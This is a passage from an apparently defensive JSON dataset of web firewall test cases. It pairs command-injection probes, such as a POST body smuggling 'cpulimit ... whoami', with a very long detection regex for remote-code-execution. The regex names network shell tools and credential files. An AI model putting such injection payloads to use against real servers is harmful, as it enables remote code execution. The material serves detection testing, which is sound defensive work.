),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "JW2SU88A" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cpulimit -l 100 -f whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?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\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "P6E0KY27" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "field_metatags[0][advanced][rights]=somevalue" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b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|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b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),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(